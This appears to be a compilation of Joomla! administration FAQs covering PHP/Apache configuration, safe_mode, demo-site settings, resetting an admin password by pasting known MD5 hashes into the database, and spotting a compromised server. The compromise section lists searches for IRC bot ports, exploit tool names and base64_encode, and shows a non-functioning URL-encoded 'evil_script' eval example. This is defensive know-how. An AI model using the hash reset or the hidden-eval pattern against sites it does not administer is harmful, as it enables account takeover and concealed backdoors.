Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. Download HISA Here
Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.
Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm
For those wishing to know more about "How To..."
Running PHP as an Apache module
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".
Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;
LoadModule php4_module "c:/php/php4apache.dll"
Apache 1.x
For PHP5
LoadModule php5_module C:/php/php5apache2.dll
or (platform dependant)
LoadModule php5_module /usr/lib/apache/libphp5.so
For PHP4
LoadModule php4_module libexec/libphp4.so
or (platform dependant)
LoadModule php4_module C:/php/php4apache.dll
and
AddModule mod_php4.c
or
AddModule mod_php5.c
Apache 2.x
For PHP5
LoadModule php5_module C:/php/php5apache2.dll
or (platform dependant)
LoadModule php5_module /usr/lib/apache/libphp5.so
For PHP4
LoadModule php4_module libexec/libphp4.so
or (platform dependant)
LoadModule php4_module C:/php/php4apache.dll
and
AddModule mod_php5.c
or
AddModule mod_php4.c
Note:
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.
If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.
Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:
AddType application/x-httpd-php .php
If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .phtml
Run a syntax check and if all is ok, restart Apache...
Running PHP as a CGI binary
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.
Add the following line below after the ScriptAlias for "cgi-bin".
Note:
The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/").
ScriptAlias /php/ "c:/php/"
Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it:
AddType application/x-httpd-php .php
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .phtml
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.
Action application/x-httpd-php "/php/php.exe"
If you notice, we have used the "ScriptAlias" reference, "/php/" portion will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put "/php/php.exe", Apache WILL work it out if correctly configured.
Configuring the Default Index Page
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on that line. For example, if the line used to be:
DirectoryIndex index.html
change it to
DirectoryIndex index.html index.php
If you still wish .html files to be executed before .php files
or
DirectoryIndex index.php index.html
If you wish .php files to be executed before .html files
The next time you access the site or a directory within a site without a filename, Apache will "auto-magically" deliver "index.php" if available, or "index.html" if "index.php" is not available.
Overview Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.
From the official PHP site
"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now." More Information
In /includes/version.php look for:
/** @var string Whether site is a production = 1 or demo site = 0 */ var $SITE = 1; /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */ var $RESTRICT = 0;
For a demo site it is advised to following:
/** @var string Whether site is a production = 1 or demo site = 0 */ var $SITE = 0; /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */ var $RESTRICT = 1;
$SITE = 0 // Allows multiple user logins with only one account. By default Joomla! // allows only one active session per account as a security feature.
$RESTRICT = 1 // Disables those logging in, both Front-end and Back-end from changing // user details - like password and username
These settings are used on the official demo site http://demo.joomla.org
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.
Introduction
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.
Directions
1. Login to the administrator section, and choose: Site > Global Configuration.
2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:
"This site is down for maintenance. Please check back again soon. message instead."
3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.
Directions
Introduction
Note: This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this (FAQ)
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.
Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.
Directions
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .
2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples. Warning: You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.
password = "MD5 hash of password" ------------------------------------------------------ admin = 21232f297a57a5a743894a0e4a801fc3 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69 OU812 = 7441de5382cf4fecbaa9a8c538e76783
5. Save the user record.
6. Point a browser to your site and log in using the Super Administrator account you just modified.
7. IMPORTANT: Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.
Generating your own MD5 hash from a password of your choice
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.
Online MD5 hash creation tools
Free MD5 utilities for download
Other MD5 tools
Check the active processes
Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.
Check crontab
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.
Check for hidden files or directories
Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.
Other examples of searches that may help pin down exploits and/or unexpected files and folders:
find /home -type f | xargs grep -l MultiViews find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts find . -type f | xargs grep -l error_reporting find / -name "[Bb]itch[xX]" find / -name "psy*" ls -lR | grep rwxrwxrwx > listing.txt
Overview
Attackers sometimes hide code away from prying eyes by URL Encoding it.
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.
However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.
Here are some trivial, non-functioning examples of URL Encoded text:
Original | URL Encoded |
---|---|
this line has spaces | this%20line%20has%20spaces |
eval(evil_script(http://www.evilsite/?evilscript.pl")); | %65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77. %65%76il%73ite/%3F%65%76il%73 cript.%70l%22%29%29%3B |
Resources